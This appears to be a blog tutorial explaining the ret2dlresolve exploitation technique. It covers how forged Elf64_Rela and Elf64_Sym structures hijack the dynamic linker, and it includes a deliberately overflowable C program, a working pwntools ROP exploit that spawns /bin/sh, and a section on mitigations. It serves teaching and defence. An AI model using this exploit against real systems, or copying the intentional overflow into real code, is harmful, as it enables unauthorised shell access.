Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
ret2dlresolve is the technique that lets you call an arbitrary libc function — canonically system("/bin/sh") — with no information leak at all. Where ret2plt/ret2libc first spend a stage disclosing a libc address to defeat ASLR, ret2dlresolve instead hijacks the dynamic linker’s own lazy-binding machinery and makes it resolve a symbol *you* named, in *its* copy of libc, using addresses that are already fixed in a non-PIE binary. You never learn where libc is; you convince _dl_runtime_resolve to look up system on your behalf and jump to it.
The trick is to forge the exact relocation structures the resolver consumes: an Elf64_Rela, an Elf64_Sym, and a symbol-name string, arranged so that when the PLT trampoline is invoked with a chosen relocation index, the linker reads your fake entries, finds the string "system" in libc’s symbol table, binds it, and calls it with the argument you set up. It works specifically against Partial RELRO binaries that still use lazy PLT binding, and pwntools automates the whole payload with Ret2dlresolvePayload.
Attack Prerequisites
The technique targets a very specific configuration; confirm all of the following before reaching for it:
- Lazy binding (Partial RELRO or no RELRO). Full RELRO binds everything at startup and maps the GOT read-only, so the lazy resolver path this abuses is never taken —
ret2dlresolvedoes not apply. - A non-PIE binary, so
.plt,.dynamic,.rela.plt,.dynsym,.dynstr, and the PLT-0 resolver trampoline are all at known fixed addresses. - A writable region at a known address (typically
.bss) large enough to hold the forgedElf64_Rela+Elf64_Sym+ the"system"string + a"/bin/sh"string, plus a way to write it there (areadinto.bss). - Control of the stack / a ROP chain to set the PLT-0 argument (the relocation offset/index) and to arrange the function argument in
rdi.
How It Works
Lazy binding works like this. Each PLT stub, on its first call, pushes a relocation index and jumps to PLT-0, which calls _dl_runtime_resolve(link_map, reloc_index). The resolver treats reloc_index as an index into the .rela.plt array of Elf64_Rela structures. The chosen Elf64_Rela has an r_offset (the GOT slot to fill) and an r_info; the high 32 bits of r_info are a symbol index into .dynsym. That Elf64_Sym‘s st_name field is a byte offset into .dynstr, pointing at the NUL-terminated symbol name. The linker looks that name up across the loaded objects, writes the resolved address into r_offset, and jumps to it.
ret2dlresolve forges that chain of dereferences. You supply a reloc_index large enough that .rela.plt + index*sizeof(Elf64_Rela) lands on a fake Elf64_Rela you placed in .bss. Its r_info symbol index is chosen so that .dynsym + symidx*sizeof(Elf64_Sym) lands on a fake Elf64_Sym you also placed in .bss, whose st_name points at your string "system". The resolver dutifully binds system from libc and calls it — with no leak, because the linker knew where libc was all along and you simply borrowed its lookup.
The r_offset of the fake Rela must still be a writable, valid address (the resolver writes the bound address there), and r_info‘s low bits must encode the correct relocation type (R_X86_64_JUMP_SLOT). Getting the byte layout, index arithmetic, and alignment exactly right by hand is fiddly, which is why pwntools’ Ret2dlresolvePayload builds the forged blob and the matching call for you.
It is worth being precise about the arithmetic, because it explains every constraint. The PLT-0 trampoline receives the relocation as a *byte-scaled index* in some ABIs and an *element index* in others; on x86-64 the value pushed by the PLT stub is an integer index into .rela.plt, and the resolver computes reloc = JMPREL + index * sizeof(Elf64_Rela) where sizeof(Elf64_Rela) is 24 bytes. To make reloc land on your fake structure in .bss you solve for index = (fake_rela_addr - JMPREL) / 24, which is why the index is typically a large number rather than a small one. Similarly the symbol index is (fake_sym_addr - SYMTAB) / sizeof(Elf64_Sym) with sizeof(Elf64_Sym) equal to 24 bytes, and it must divide evenly — a common source of off-by-alignment bugs when forging by hand. pwntools chooses .bss offsets that satisfy both divisions cleanly.
Vulnerable Code / Setup
A non-PIE, Partial-RELRO binary with a read into a fixed buffer — the overflow gives IP control, and a second read lets us stage forged structures into .bss:
// gcc -fno-stack-protector -no-pie -z lazy -o dlr dlr.c
#include <unistd.h>
void vuln(void){
char buf[64];
read(0, buf, 400); // BUG: overflow -> ROP
}
int main(void){ vuln(); return 0; }
Cchecksec must show Partial RELRO (lazy binding intact) and No PIE. Note there is no system call and no libc leak anywhere in the program — the entire point is that we manufacture the resolution ourselves:
$ checksec --file=./dlr
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
TEXTWalkthrough / Exploitation
pwntools models the forged relocation with Ret2dlresolvePayload. You give it the target ELF, the function name to resolve, and its arguments; it computes the .bss staging address, lays out the fake Elf64_Rela/Elf64_Sym/strings, and exposes the reloc_index to pass to PLT-0:
from pwn import *
context.binary = elf = ELF('./dlr')
io = process('./dlr')
# Stage the forged structures in a writable region (.bss).
dl = Ret2dlresolvePayload(elf, symbol='system',
args=['/bin/sh'])
log.info(f'forged blob -> {hex(dl.data_addr)}')
PythonStage 1: overflow to call read(0, dl.data_addr, len) so the forged blob lands at the address pwntools chose, then return into the PLT-0 resolver trampoline with the crafted relocation offset. pwntools’ rop.ret2dlresolve(dl) emits the PLT-0 call with the right index:
rop = ROP(elf)
OFF = 64 + 8
# 1) read the forged Rela/Sym/strings into .bss
rop.read(0, dl.data_addr, len(dl.payload))
# 2) invoke the resolver with the forged reloc index -> system('/bin/sh')
rop.ret2dlresolve(dl)
payload = flat({OFF: rop.chain()})
io.sendline(payload)
io.sendline(dl.payload) # supplied to the staged read()
io.interactive()
PythonUnder the hood rop.ret2dlresolve(dl) sets up the PLT-0 argument so that _dl_runtime_resolve(link_map, reloc_index) walks straight into the forged Elf64_Rela at dl.data_addr, whose r_info selects the forged Elf64_Sym, whose st_name points at the staged "system\x00". The "/bin/sh" string is part of the same blob and is passed via rdi. No libc address is ever known to the exploit.
Note: On glibc builds that ship a versioned symbol table, the resolver also consults version data derived from the symbol index; a wildly out-of-range index can dereference a bogus version pointer and crash. pwntools accounts for this, and where the version path is a problem the fake
Elf64_Symis given anst_other/index arrangement that steers the resolver down the unversioned path. If a hand-rolled payload segfaults inside_dl_runtime_resolve, version handling is the usual culprit.
Opsec: Newer glibc releases hardened
_dl_fixup/_dl_runtime_resolvewith bounds checks on the relocation and symbol indices, which breaks the classic arbitrarily-large-index variant on up-to-date systems; the technique remains highly reliable against the many deployed non-PIE, Partial-RELRO binaries built against older libraries. Confirm the target’s glibc behavior in a matching environment before relying on it.
Detection and Defense
ret2dlresolve is entirely a lazy-binding phenomenon; closing that path shuts it down:
- Full RELRO (
-Wl,-z,relro,-z,now) — binds all symbols at load and maps the GOT read-only, eliminating the lazy resolver path this technique requires. This is the single most effective mitigation. - Position-independent executables (PIE) + ASLR — even with lazy binding, randomizing
.plt/.bss/.dynamicremoves the fixed addresses the forged structures and PLT-0 call depend on. - Up-to-date glibc — modern resolver bounds checks reject out-of-range relocation/symbol indices, breaking the large-index forgery.
- Stack protections (canary, fortify) to deny the overflow that provides the initial control and the staging
read. - Runtime integrity / EDR alerting on daemons spawning shells — a resolved
system("/bin/sh")still ends in anexecvethat behavioral monitoring can flag.
Real-World Impact
ret2dlresolve is prized in CTF and constrained real-world scenarios precisely because it removes the leak requirement: against a non-PIE, Partial-RELRO binary with even a modest overflow and a writable buffer, you can reach system without ever disclosing a libc address, sidestepping cases where no convenient leak primitive exists. Its relevance has narrowed on modern distributions — Full RELRO and PIE are now common defaults and recent glibc added resolver hardening — but the enormous installed base of legacy non-PIE software keeps it firmly in the practical toolkit, and it remains a superb lesson in how much attack surface the dynamic linker itself presents.
Conclusion
ret2dlresolve weaponizes lazy binding by forging the Elf64_Rela, Elf64_Sym, and name string that _dl_runtime_resolve trusts, making the linker resolve and call system from its own libc with no leak. It is the definitive answer to “I have a non-PIE overflow but no way to leak libc,” and pwntools’ Ret2dlresolvePayload reduces the delicate structure forgery to a few lines. The mitigation is equally clear: build Full RELRO and PIE, keep glibc current, and the resolver stops being an oracle you can command.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments